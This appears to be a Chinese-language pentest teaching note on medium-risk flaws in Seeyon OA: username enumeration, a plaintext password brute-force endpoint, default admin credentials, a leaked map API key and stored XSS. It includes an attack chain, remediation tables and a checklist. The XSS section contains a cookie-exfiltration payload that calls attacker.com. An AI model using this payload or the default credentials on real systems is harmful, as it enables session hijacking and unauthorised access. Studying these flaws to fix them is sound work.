致远OA前台与后台中危漏洞教学文档
一、漏洞概述
本文档基于FreeBuf公开文章整理,涉及致远OA系统中多个中危级别漏洞。这些漏洞广泛存在于几乎所有版本的致远OA系统中,在渗透测试场景中具有较高利用价值。由于部分OA系统部署了WAF,常规攻击手段可能受限,但以下漏洞往往容易被忽视。
二、前台漏洞详解
2.1 用户名枚举漏洞
漏洞描述
致远OA登录页面存在多个接口可枚举系统有效用户名。攻击者通过遍历用户名,可以确认哪些账号真实存在,为后续暴力破解或社会工程学攻击提供基础。
受影响版本
几乎全版本
利用方式
通过特定接口发送请求,根据响应差异判断用户名是否存在。具体接口未在文章中详细列出,但常见的用户名枚举特征包括:
- 返回不同的错误提示(如“用户名不存在” vs “密码错误”)
- 响应时间差异
- HTTP状态码差异
危害等级
中危。虽然不能直接获取权限,但为暴力破解和信息收集提供了便利。
2.2 明文密码爆破接口
漏洞描述
通常情况下,致远OA登录页面的密码字段经过加密处理,且可能存在验证码机制,导致传统暴力破解难以实施。然而,系统中存在一个明文传输密码的接口,允许攻击者绕过加密和验证码限制直接进行密码爆破。
注意事项
- 管理员可能开启账户锁定策略,多次失败尝试会导致账户被临时或永久锁定
- 建议结合用户名枚举结果,针对性地进行弱口令测试
利用条件
需要先获取有效的用户名(可通过上述枚举接口获得)
危害等级
中危。配合用户名枚举,可能导致账户被攻破。
2.3 默认密码风险
漏洞描述
部分致远OA系统在安装或初始化后,存在未修改的默认管理员账户和密码。常见默认凭证组合包括:
| 用户名 | 密码 |
|---|---|
| admin | 空密码或123456 |
| system | system |
| manager | manager |
检测方法
尝试使用常见默认凭证登录系统后台。
危害等级
中危至高危(取决于默认账户的权限级别)。若管理员账户使用默认密码,攻击者可完全控制OA系统。
2.4 前端高德地图API Key泄露
漏洞描述
致远OA系统在前端代码中嵌入了高德地图API Key。该Key本应作为服务端密钥保密,但因直接暴露在HTML、JavaScript等前端资源中,任何访问页面的用户均可获取。
泄露位置
通常出现在:
- 页面源代码中的JavaScript变量
- AJAX请求URL参数
- HTML标签属性中
利用方式
获取Key后可:
- 调用高德地图API产生费用,造成经济损失
- 可能利用该Key进行其他未授权操作(取决于Key的权限配置)
修复建议
将API Key移至后端环境变量或配置文件,前端仅通过代理接口间接调用地图服务。
危害等级
中危。主要影响为资源滥用和经济损失风险。
三、后台漏洞详解
3.1 存储型跨站脚本(XSS)
漏洞描述
致远OA后台存在多处存储型XSS漏洞,攻击者可将恶意脚本持久化存储在服务器上,当其他管理员或用户访问受影响的页面时,脚本自动执行。
触发位置
文章指出漏洞位置分别位于:
- 位置一:(原文未完整披露具体模块名称)
- 位置二:(原文未完整披露具体模块名称)
常见易受攻击的后台功能包括:
- 公告发布模块
- 流程表单自定义字段
- 用户资料编辑
- 系统配置项
攻击流程
- 攻击者登录后台(或诱导有权限的用户提交恶意内容)
- 在输入框中插入XSS payload,例如:
或更隐蔽的payload用于窃取会话Cookie:<script>alert(document.cookie)</script><img src=x onerror=fetch('http://attacker.com/?cookie='+document.cookie)> - payload被存储到数据库
- 其他管理员访问该页面时,恶意脚本在浏览器中执行
危害
- 窃取管理员会话Cookie,实现账户劫持
- 执行任意操作(如创建新管理员、修改系统配置)
- 植入键盘记录器
- 钓鱼攻击
危害等级
中危至高危。取决于后台功能的敏感程度和受影响用户的权限级别。
四、综合攻击链示例
1. 信息收集阶段
├── 使用用户名枚举接口发现有效账号
└── 从源码提取高德地图API Key(辅助信息)
2. 凭据获取阶段
├── 尝试默认密码登录
└── 通过明文密码接口对枚举到的用户名进行爆破
3. 权限维持阶段
├── 登录后台后,利用存储型XSS植入后门脚本
└── 持续监控管理员操作或窃取更多凭证
五、修复建议汇总
| 漏洞类型 | 修复方案 |
|---|---|
| 用户名枚举 | 统一错误提示信息,不区分“用户名不存在”和“密码错误”;对接口添加频率限制 |
| 明文密码接口 | 下线该接口或改为加密传输;对所有登录接口强制验证码校验 |
| 默认密码 | 首次登录强制修改密码;定期审计账户密码强度 |
| API Key泄露 | 前端移除硬编码Key,改用后端代理转发;对Key设置IP白名单和用量配额 |
| 存储型XSS | 对所有用户输入进行HTML实体编码;启用Content Security Policy;使用富文本编辑器时严格过滤危险标签 |
六、安全检测清单
渗透测试人员可参照以下步骤快速验证:
- [ ] 尝试访问登录页面,查看是否存在用户名枚举接口
- [ ] 检查前端JS文件是否包含明文密码提交接口
- [ ] 测试admin/system/manager等常见默认账户
- [ ] 查看页面源代码,搜索
key=或amap等关键词 - [ ] 登录后台后,在公告、表单等输入框测试XSS payload
免责声明:本文档仅供安全研究和授权测试使用。未经授权对他人系统进行漏洞探测和利用属于违法行为,请遵守当地法律法规。